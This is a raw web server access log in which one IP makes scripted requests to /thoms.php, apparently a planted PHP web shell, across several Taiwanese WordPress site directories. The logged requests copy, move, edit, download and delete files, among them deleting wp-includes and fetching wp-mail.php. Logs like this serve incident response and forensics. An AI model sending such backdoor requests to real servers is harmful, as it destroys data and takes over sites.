45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11430 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18275 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11388 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?copy=big-wife.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18273 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=betcity.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=upgrade HTTP/1.1" 200 11318 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bfl.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=wp-content HTTP/1.1" 200 11311 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=cgi-bin HTTP/1.1" 200 11309 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bossini.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=bossini.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=bossini.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11385 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=bossini.com.tw&p=upgrade HTTP/1.1" 200 11307 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:38 -0400] "GET /thoms.php?copy=bossini.com.tw&p=wp-content HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:38 -0400] "GET /thoms.php?copy=bossini.com.tw&p=betcity.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:38 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:38 -0400] "GET /thoms.php?copy=bossini.com.tw&p=cgi-bin HTTP/1.1" 200 11308 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=big-wife.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18494 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:38 -0400] "GET /thoms.php?copy=bossini.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:38 -0400] "GET /thoms.php?copy=bossini.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18494 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:38 -0400] "GET /thoms.php?copy=bossini.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:37 -0400] "GET /thoms.php?copy=bossini.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:38 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bfl.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18494 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bft.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=bossini.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=bossini.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bossini.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=bossini.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=bossini.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=bossini.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?edit=mah.php&env=ace&p= HTTP/1.1" 200 28033 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?edit=mah.php&p= HTTP/1.1" 200 24306 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bfl.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=betcity.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bossini.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=cgi-bin HTTP/1.1" 200 11314 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=wp-content HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bft.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p=upgrade HTTP/1.1" 200 11312 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18602 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 200 13620 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?dl=wp-mail.php&p=bodbooks.com.tw HTTP/1.1" 200 17436 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?p=bodbooks.com.tw&settings=1 HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?del=wp-includes&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11931 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18587 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:41 -0400] "GET /bodbooks.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:42 -0400] "GET /bodbooks.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
